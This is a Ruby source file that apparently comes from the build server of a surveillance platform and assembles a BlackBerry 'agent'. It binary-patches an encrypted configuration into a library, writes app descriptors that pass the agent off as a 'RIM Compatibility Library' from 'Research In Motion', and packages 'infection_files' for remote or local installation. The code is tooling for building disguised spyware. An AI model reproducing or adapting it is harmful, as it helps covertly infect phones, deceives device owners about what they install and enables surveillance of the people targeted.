#
#  Agent creation for blackberry
#

# from RCS::Common
require 'rcs-common/trace'

require 'digest/sha1'

module RCS
module DB

class BuildBlackberry < Build

  def initialize
    super
    @platform = 'blackberry'
  end

  def unpack
    # unpack the core from db
    super

	trace :debug, "outputs: #{@outputs}"
	
	# enumerates the version, renames the cod, flattens file in root
	Dir[path('res/v_*/*.cod')].each { |d| 
		trace :debug, "versioned: #{d}" 
		(maj, min ,codname)=d.scan(/v_(\d+)\.(\d+)\/(.*).cod/).flatten
		version = "#{maj}.#{min}"
		trace :debug, "version: #{version} codname: #{codname}"
		FileUtils.mv(d, path("#{codname}_#{version}.cod"))
		@outputs[@outputs.index("res/v_#{version}\/#{codname}.cod")] = "#{codname}_#{version}.cod"
	}
	
	# flatten the library to be binary patched
	FileUtils.mv( path("res/net_rim_bb_lib_base.cod"), path("net_rim_bb_lib_base.cod"))
	@outputs[@outputs.index("res/net_rim_bb_lib_base.cod")] = "net_rim_bb_lib_base.cod"
	
	trace :debug, "outputs: #{@outputs}"
  end
  
  def patch(params)

    trace :debug, "Build: patching: #{params}"

    # add the file to be patched to the params
    # these params will be passed to the super
    params[:core] = 'net_rim_bb_lib_base.cod'

    # enforce demo flag accordingly to the license
    # or raise if cannot build
    params['demo'] = LicenseManager.instance.can_build_platform :blackberry, params['demo']

    # invoke the generic patch method with the new params
    super

    trace :debug, "Build: adding config to [#{params[:core]}] file"

    # blackberry has the config inside the lib file, binary patch it instead of creating a new file
    file = File.open(path(params[:core]), 'rb+')
    file.pos = file.read.index 'XW15TZlwZwpaWGPZ1wtL0f591tJe2b9'
    config = @factory.configs.first.encrypted_config(@factory.confkey)
    # write the size of the config
    file.write [config.bytesize].pack('I')
    # pad the config to 16Kb (minus the size of the int)
    config = config.ljust(2**14 - 4, "\x00")
    file.write config
    file.close
  end

  def melt(params)
	trace :debug, "Build: melting: #{params}"
	trace :debug, "melt: outputs: #{@outputs}"
	
	# enumerate the versions
	Dir[path('res/**')].each {|f| 
		trace :debug, "content: #{f}"
		version = f.to_s[/v_\d+\.\d+/]		
		if version 
			#version=version[2..-1]
			version.slice! "v_"
			trace :debug, "  version: #{version}"
			version_melt params,version			
		end
	}
  end
  
  # for every version prepares jad and cods
  def version_melt(params, version)
    trace :debug, "Build: version_melt: #{params}, #{version}"

    @appname = params['appname'] || 'net_rim_bb' 
	
    # read the content of the jad header
    content = File.open(path('jad'), 'rb') {|f| f.read}

    # reopen it for writing
	jadname=@appname + '_' + version + '.jad'
    jad = File.open(path(jadname), 'wb')

    name = params['name'] || 'RIM Compatibility Library'

    # make substitution in the jad header
    content['[:RIM-COD-Name:]'] = name
    content['[:RIM-COD-Version:]'] = params['version'] || '1.1.0'
    content['[:RIM-COD-Description:]'] = params['desc'] || 'RIM Compatibility Library used by applications in the App World'
    content['[:RIM-COD-Vendor:]'] = params['vendor'] || 'Research In Motion'

    content.gsub!('[:RIM-COD-FileName:]', @appname)
    
    jad.puts content
    jad.puts "RIM-COD-Module-Name: #{name}"
    jad.puts "RIM-COD-Creation-Time: #{Time.now.to_i}"

    num = 0
	
    # keep only the version specific cores and the library
	trace :debug, "version_melt: outputs: #{@outputs}"	
    jadfiles = @outputs.dup.keep_if {|x| (x[/\w$/] and x[version]) or x['base']}
	trace :debug, "version_melt: jadfiles: #{jadfiles}"

    # sort but ignore the extension.
    # this is mandatory to have blabla-1.cod after blabla.cod
    jadfiles.sort! {|x,y| x[0..-5] <=> y[0..-5]}

    # each part of the core must be renamed to the new appname
    # and added to the body of the jad file
    jadfiles.each do |file|
      old_name = file.dup
      
	  if(file['net_rim_bb_lib'])
		file['net_rim_bb_lib'] = @appname
	  end
	  
      @outputs[@outputs.index(file)] = file
      File.rename(path(old_name), path(file))

      inc = num == 0 ? '' : "-#{num}"

      jad.puts "RIM-COD-URL#{inc}: #{file}"
      jad.puts "RIM-COD-SHA1#{inc}: #{Digest::SHA1.file(path(file))}"
      jad.puts "RIM-COD-Size#{inc}: #{File.size(path(file))}"

      num += 1
    end

    jad.close
	
    @outputs << jadname
       
  end

  def pack(params)
    trace :debug, "Build: pack: #{params}"
	trace :debug, "Build: pack: outputs: #{@outputs}"

    case params['type']
      when 'remote'
        Zip::ZipFile.open(path('output.zip'), Zip::ZipFile::CREATE) do |z|
		#delete_if {|o| o['res']}.
          @outputs.delete_if {|o| o['res']}.keep_if {|o| o['.cod'] or o['.jad']}.each do |output|
			if File.file?(path(output))					
				z.file.open(output, "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} }
			end
		  end
        end
      when 'local'
        Zip::ZipFile.open(path('output.zip'), Zip::ZipFile::CREATE) do |z|
          @outputs.keep_if {|o| o['res'] || o['install.bat'] || o['bin'] || o['base'] || o['.cod'] || o['.jad']}.each do |output|
			trace :debug, "       pack: #{output}"
            if output['base']
              z.file.open('/res/net_rim_bb_lib_base.cod', "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} }
            else
				if File.file?(path(output))	
					outfile=output.dup		
					outfile="res/" + output	if !output[/^res\//] and !output[/\.bat$/]
					z.file.open(outfile, "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} }
				end
            end
          end
        end
      else
        raise("pack failed. unknown type.")
    end

    # this is the only file we need to output after this point
    @outputs = ['output.zip']

  end
  
  def infection_files(name = 'bb_in')
	trace :debug, "     infection_files"
	files=[]
	# keeps only all the cod and jad in the root
	@outputs.dup.delete_if {|o| o['res']}.keep_if {|o| o['.cod'] or o['.jad']}.each do |output|
		files.push( { :name => output, :path => path(output) })
	end
	# adds the exes, in res, flattening the dir
	@outputs.dup.keep_if {|o| o['res'] and o['exe']}.each do |output|
		filepath = output.dup
		filepath.slice! "res/"
		filepath.gsub!(/inst_helper/,name)
		files.push({ :name => filepath, :path => path(output) })
	end
	
	return files
  end

end

end #DB::
end #RCS::
